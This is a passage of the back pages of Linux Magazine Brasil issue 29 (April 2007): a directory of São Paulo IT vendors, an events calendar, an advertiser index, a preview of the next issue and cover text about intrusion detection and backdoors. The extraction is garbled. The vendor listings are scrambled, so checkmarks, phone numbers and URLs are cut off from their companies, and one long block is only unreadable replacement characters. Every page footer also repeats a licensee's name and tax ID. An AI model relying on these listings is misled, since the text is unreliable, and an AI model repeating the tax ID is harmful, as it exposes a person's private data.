11 3879-9390

www.altbit.com.br

AS2M -WPC Consultoria

São Paulo

Av. Tiradentes, 615, Ed. Santiago, 2º andar Bom Retiro – CEP: 01101-010

11 3228-3709

www.wpc.com.br

Big Host

São Paulo

Rua Dr. Miguel Couto, 58 – Centro – CEP: 01008-010

11 3033-4000

www.bighost.com.br

✔ ✔

Blanes

São Paulo

Rua André Ampére, 153 – 9º andar – Conj. 91 CEP: 04562-907 (próx. Av. L. C. Berrini)

11 5506-9677

www.blanes.com.br

✔ ✔ ✔

✔ ✔

Commlogik do Brasil Ltda.

São Paulo

Av. das Nações Unidas, 13.797, Bloco II, 6º andar – Morumbi – CEP: 04794-000

11 5503-1011

www.commlogik.com.br

✔ ✔ ✔

✔ ✔

Computer Consulting Projeto e Consultoria Ltda.

São Paulo

Rua Vergueiro, 6455, Cj. 06 – Alto do Ipiranga – CEP: 04273-100 11 5062-3927

www.computerconsulting.com.br

✔ ✔

Consist Consultoria, Sistemas e Representações Ltda.

São Paulo

Av. das Nações Unidas, 20.727 – CEP: 04795-100

11 5693-7210

www.consist.com.br

Domínio Tecnologia

São Paulo

Rua das Carnaubeiras, 98 – Metrô Conceição – CEP: 04343-080

11 5017-0040

www.dominiotecnologia.com.br

EDS do Brasil

São Paulo

Av. Pres. Juscelino Kubistcheck, 1830 Torre 4 - 5º andar

11 3707-4100

www.eds.com

Ética Tecnologia

São Paulo

Rua Nova York, 945 – Brooklin – CEP:04560-002

11 5093-3025

www.etica.net

Getronics ICT Solutions and Services

São Paulo

Rua Verbo Divino, 1207 – CEP: 04719-002

11 5187-2700

www.getronics.com/br

Hewlett-Packard Brasil Ltda.

São Paulo

Av. das Nações Unidas, 12.901, 25º andar – CEP: 04578-000

11 5502-5000

www.hp.com.br

✔ ✔ ✔ ✔

IBM Brasil Ltda.

São Paulo

Rua Tutóia, 1157 – CEP: 04007-900

0800-7074 837

www.br.ibm.com

✔ ✔

iFractal

São Paulo

Rua Fiação da Saúde, 145, Conj. 66 – Saúde – CEP: 04144-020 11 5078-6618

www.ifractal.com.br

✔ ✔

Integral

São Paulo

Rua Dr. Gentil Leite Martins, 295, 2º andar Jd. Prudência – CEP: 04648-001

11 5545-2600

www.integral.com.br

Itautec S.A.

São Paulo

Rua Santa Catarina, 1 – Tatuapé – CEP: 03086-025

11 6097-3000

www.itautec.com.br

✔ ✔ ✔

Linux Komputer Informática

São Paulo

Av. Dr. Lino de Moraes Leme, 185 – CEP: 04360-001

11 5034-4191

www.komputer.com.br

Linux Mall

São Paulo

Rua Machado Bittencourt, 190, Cj. 2087 – CEP: 04044-001

11 5087-9441

www.linuxmall.com.br

Livraria Tempo Real

São Paulo

Al. Santos, 1202 – Cerqueira César – CEP: 01418-100

11 3266-2988

www.temporeal.com.br

Locasite Internet Service

São Paulo

Av. Brigadeiro Luiz Antonio, 2482, 3º andar – Centro – CEP: 01402-000

11 2121-4555

www.locasite.com.br

Microsiga

São Paulo

Av. Braz Leme, 1631 – CEP: 02511-000

11 3981-7200

www.microsiga.com.br

Novatec Editora Ltda.

São Paulo

Rua Luis Antonio dos Santos, 110 – Santana – 02460-000

11 6979-0071

www.novateceditora.com.br

Novell América Latina

São Paulo

Rua Funchal, 418 – Vila Olímpia

11 3345-3900

www.novell.com/brasil

Av. Alfredo Egídio de Souza Aranha, 100 – Bloco B – 5º andar – CEP: 04726-170

11 5189-3000

www.oracle.com.br

Oracle do Brasil Sistemas Ltda. São Paulo Proelbra Tecnologia Eletrônica Ltda.

São Paulo

Av. Rouxinol, 1.041, Cj. 204, 2º andar Moema – CEP: 04516-001 11 5052- 8044

www.proelbra.com.br

Provider

São Paulo

Av. Cardoso de Melo, 1450, 6º andar – Vila Olímpia – CEP: 04548-005

11 2165-6500

Red Hat Brasil

São Paulo

Av. Angélica, 2503, 8º andar Consolação – CEP: 01227-200

Samurai Projetos Especiais

São Paulo

SAP Brasil

São Paulo

Simples Consultoria

✔ ✔

✔ ✔

✔ ✔

✔ ✔ ✔ ✔ ✔

✔ ✔ ✔

✔ ✔

✔ ✔

✔ ✔ ✔

✔ ✔ ✔ ✔ ✔ ✔ ✔

✔ ✔ ✔

✔ ✔ ✔

✔ ✔ ✔ ✔

www.e-provider.com.br

✔ ✔

11 3124-6000

www.redhat.com.br

Rua Barão do Triunfo, 550, 6º andar – CEP: 04602-002

11 5097-3014

www.samurai.com.br

✔ ✔

Av. das Nações Unidas, 11.541, 16º andar – CEP: 04578-000

11 5503-2400

www.sap.com.br

✔ ✔

São Paulo

Rua Mourato Coelho, 299, Cj. 02 Pinheiros – CEP: 05417-010

11 3898-2121

www.simplesconsultoria.com.br

✔ ✔

Smart Solutions

São Paulo

Av. Jabaquara, 2940 cj 56 e 57

11 5052-5958

www.smart-tec.com.br

✔ ✔

✔ ✔

Snap IT

São Paulo

Rua João Gomes Junior, 131 – Jd. Bonfiglioli – CEP: 05299-000

11 3731-8008

www.snapit.com.br

✔ ✔

Stefanini IT Solutions

São Paulo

Av. Brig. Faria Lima, 1355, 19º – Pinheiros – CEP: 01452-919

11 3039-2000

www.stefanini.com.br

✔ ✔

Sun Microsystems

São Paulo

Rua Alexandre Dumas, 2016 – CEP: 04717-004

11 5187-2100

www.sun.com.br

✔ ✔

Sybase Brasil

São Paulo

Av. Juscelino Kubitschek, 510, 9º andar Itaim Bibi – CEP: 04543-000

11 3046-7388

www.sybase.com.br

The Source

São Paulo

Rua Marquês de Abrantes, 203 – Chácara Tatuapé – CEP: 03060-020

11 6698-5090

www.thesource.com.br

Unisys Brasil Ltda.

São Paulo

R. Alexandre Dumas 1658 – 6º, 7º e 8º andares – Chácara Santo Antônio – CEP: 04717-004

11 3305-7000

www.unisys.com.br

Utah

São Paulo

Av. Paulista, 925, 13º andar – Cerqueira César – CEP: 01311-916

11 3145-5888

Visuelles

São Paulo

Rua Eng. Domicio Diele Pacheco e Silva, 585 – Interlagos – CEP 04455-310

Webnow

São Paulo

Av. Nações Unidas, 12.995, 10º andar, Ed. Plaza Centenário – Chácara Itaim – CEP: 04578-000

WRL Informática Ltda.

São Paulo

Systech

Taquaritinga

✔ ✔ ✔

✔ ✔

✔ ✔

www.utah.com.br

✔ ✔

11 5614-1010

www.visuelles.com.br

✔ ✔

11 5503-6510

www.webnow.com.br

Rua Santa Ifigênia, 211/213, Box 02– Centro – CEP: 01207-001 11 3362-1334

www.wrl.com.br

Rua São José, 1126 – Centro - Caixa Postal 71 – CEP: 15.900-000

www.systech-ltd.com.br

✔ ✔

16 3252-7308

79

Linux Magazine #29 | Abril de 2007

© Linux New Media do Brasil Editora Ltda. Este documento é para uso exclusivo de rodrigo (CPF/CNPJ: 01287440304).


SERVIÇOS

Calendário de eventos Evento

Data

Local

Website

8º Fórum Internacional do Software Livre

12 a 14 de abril

Porto Alegre, RS

fisl.softwarelivre.org/8.0

Web 2.0 Expo 2007

15 a 18 de abril

San Francisco, EUA

www.web2expo.com

Linux World Conference & Expo Canadá

30 de abril a 2 de maio

Toronto, Canadá

www.it360.ca

Libre Graphics Meeting 2007

4 a 6 de maio

Vancouver, Canadá

www.libregraphicsmeeting.org

Open Source Business Conference

22 e 23 de maio

San Francisco, EUA

osbc.com

IV Encontro de Software Livre do Amazonas

25 e 26 de maio

Manaus, AM

www.eslam.comunidadesol.org

Linux Tag 2007

30 de maio a 2 de junho

Berlim, Alemanha

www.linuxtag.org

3ª Semana do Software Livre da Universidade Federal do Ceará

6 a 9 de junho

Fortaleza, CE

www.sesol.ufc.br

OSS 2007

11 a 14 de junho

Limerick, Irlanda

oss2007.dti.unimi.it

Latinoware 2007

13 e 14 de novembro

Foz do Iguaçu, PR

www.latinoware.org

Índice de anunciantes Empresa

Pág.

Dextra

45

EasyLinux

05

Fracto

19

Fisl

17

Guia de Tecnologia da Informação

15

IFractal

63

Intel

84

Itautec

11

Linux Magazine

09

Linux Magazine

21

Linux Park

83

Linux World

81

LPI

63

Plugin

13

Red Hat

02

80

http://www.linuxmagazine.com.br

© Linux New Media do Brasil Editora Ltda. Este documento é para uso exclusivo de rodrigo (CPF/CNPJ: 01287440304).


�������������������������������

����������������

��������

�����������������������

���������������������

�������

�����������������������

������������������������

��������

������������������������

���������������������

����������

������������������������

�����������������������

���������

�����������������������

����������������������

������������

����������������������������� �������������������������

��������

������������������������

�����������������������

�������

�������������

���������������������������

�������������

�����������

�������������������������

������

�����������

�����������������������

����������

�����������

�������������������������

������

������������

�����������������������

��������������

��������������������

����������������������

����������

�����������������

�����������������������

��������

���������������

���������������������

© Linux New Media do Brasil Editora Ltda. ��������������������������� ����������������������������������������������������������������� Este documento é para uso exclusivo de rodrigo (CPF/CNPJ: 01287440304).


PREVIEW

Na Linux Magazine #30… DESTAQUE

ANÁLISE

Quantos funcionários tem sua empresa? Quantos fornecedores? Quanto custou o último toner comprado para a impressora laser? Com o faturamento do último mês, qual deve ser o lucro dos próximos meses, a fim de atingir as metas para o semestre ou o ano? Essas perguntas costumavam ser difíceis de se responder. Ao menos, pela mesma pessoa. Para assuntos de faturamento, consultava-se o setor financeiro, enquanto os dados dos funcionários eram tratados com o setor de RH, e somente o pessoal do estoque possuía o controle sobre os suprimentos de escritório. Felizmente (para os eficientes), as modernas soluções de ERP e CRM chegam para facilitar o acesso e gerenciamento dessas questões, automatizando relatórios, realizando cálculos e mantendo o gestor informado a cada minuto. Veja na Linux Magazine 29 os princípios do uso de aplicativos ERP e CRM, e confira os melhores softwares livres para esse fim. ■

Usuários do Linux já estão acostumados à shell, e costumam sentir falta dela quando precisam trabalhar em sistemas Windows®. Com o novo Windows Vista vem uma interessante novidade, a PowerShell. Nossa análise compara a nova shell da Microsoft com a já estabelecidade Bourne Again Shell, ou Bash. ■

ERP & CRM

Uma shell no Vista?

SYSADMIN

Backup

No mundo do Software Livre não faltam opções de soluções para backup de sistemas. O Mondo se destaca das outras opções por ser incrivelmente rápido. Sua operação também é muito fácil, enquanto ele realiza backups tanto de diretórios individuais quanto de partições completas ou discos inteiros, incluindo a tabela de partições e o registro mestre de inicialização, ou MBR. ■

Na EasyLinux #09… DESTAQUE

Games no Linux

Nem só de trabalho duro vive o Linux. O sistema do Pingüim também surpreende quando o tema é games e faz rodar alguns dos jogos mais emocionantes da atualidade, feitos nos moldes dos sistemas proprietários. Como isso é possível? Através do Cedega – software pago – ou do virtuoso Wine. Com algumas configurações e entradas básicas na linha de comando, você vai aprender a instalar jogos como o famoso City of Heroes, dentre outros. Não perca a série de artigos completa, com passo-apasso, screenshots e soluções, especialmente preparada para a sua diversão! ■

82

LABORATÓRIO

Tudo sob controle

Você quer saber qual o uso que seu computador faz da CPU, memória e outros recursos, além de verificar o recebimento de emails? Delegue essa tarefa ao GKrellM, um programa enxuto, que oferece plugins adicionais, especialista em monitorar o sistema na forma de eficientes gráficos. ■

http://www.linuxmagazine.com.br

© Linux New Media do Brasil Editora Ltda. Este documento é para uso exclusivo de rodrigo (CPF/CNPJ: 01287440304).


© Linux New Media do Brasil Editora Ltda. Este documento é para uso exclusivo de rodrigo (CPF/CNPJ: 01287440304).


04/2007

IBM INSITES p.29 Big Blue premia projetos em Linux

TUX NO BB p.26 Relato da maior migração para Linux no planeta

CEZAR TAURION p.32 Usando Código Aberto e ganhando dinheiro com isso

Compiladores Intel C++ e Fortran Aumenta o desempenho sem mudar o ambiente de desenvolvimento Analisadores de Desempenho Intel VTune™ Identifica de forma bastante rápida gargalos de desempenho nos aplicativos Intel Integrated Performance Primitives Acesse bibliotecas de rotinas multimídia otimizadas para múltiplas plataformas

BACKTRACK BANCO DO BRASIL

Itautec 0800 121444 www.itautec.com.br/intel

ARGUS

Dana Batalli Diretora de Desenvolvimento do RenderMan Pixar

LSOF

“As ferramentas de threading da Intel tem acelerado nosso ciclo de desenvolvimento imensamente”.

BACKDOOR

Intel Math Kernel Library Aumenta o desempenho de aplicativos através do uso de rotinas otimizadas como BLAS, FFT, LAPACK, incluindo suporte a MPI

A REVISTA DO PROFISSIONAL DE TI

BLOQUEANDO INTRUSOS

Intel® Threading Analysis Tools Localiza os problemas de threadings latentes com visualização em tempo real.

Katalogo 0800 7729897 www.katalogo.com.br/intel

BLOQUEANDO INTRUSOS p.33

TODA SEGURANÇA É POUCA. DETECTE INVASÕES ANTES QUE CAUSEM GRANDES ESTRAGOS

» Aprenda a construir backdoors para defender-se delas p.34 » Buscando intrusos com o Lsof p.39 » O Argus detecta invasões pelo tráfego de rede p.43 » Teste de penetração no Live CD BackTrack p.47

RED HAT ENTERPRISE LINUX 5 p.50 Virtualização embutida, segurança aumentada com SELinux e muitas novidades

SERVIÇOS EM UM PULO p.69 O Upstart traz importantes inovações ao ultrapassado Sys V Init

ZONEMINDER

MStech (11) 5080-3838 www.mstech.com.br/intel

UPSTART

Strattus (11) 3531-6550 www.strattus.com.br/intel Tech Digital (11) 5181-1852 www.techdigital.com.br/intel

RHEL5

© 2006 Intel Corporation, Intel, the Intel logo, Pentium, Itanium, Intel Xeon and VTune are trademarks or registered trademarks of Intel Corporation or its subsidiaries in the United States and other countries. *Other names and brands maybe claimed as the property of others.

© Linux New Media do Brasil Editora Ltda. Este documento é para uso exclusivo de rodrigo (CPF/CNPJ: 01287440304).

9 771806 942009

Abril 2007

# 29

Faça certo na primeira vez:

R$ 13,90 € 7,50

00029

Linux Magazine

Transforme o poder do MultiCore em aplicativos de alto-desempenho. Tenha seus aplicativos preparados para o processamento paralelo e escalável.

# 29

#29 04/07

VEJA TAMBÉM NESTA EDIÇÃO: » Controle suas câmeras pela web com o ZoneMinder p.65 » Bluetooth e D-Bus: apresentamos o BlueZ p.75 » Mandriva Flash e a mobilidade do desktop p.53 » Curso LPI, aula 4: Shell avançada, administração e mais p.55 WWW.LINUXMAGAZINE.COM.BR


Issuu converts static files into: digital portfolios, online yearbooks, online catalogs, digital photo albums and more. Sign up and create your flipbook.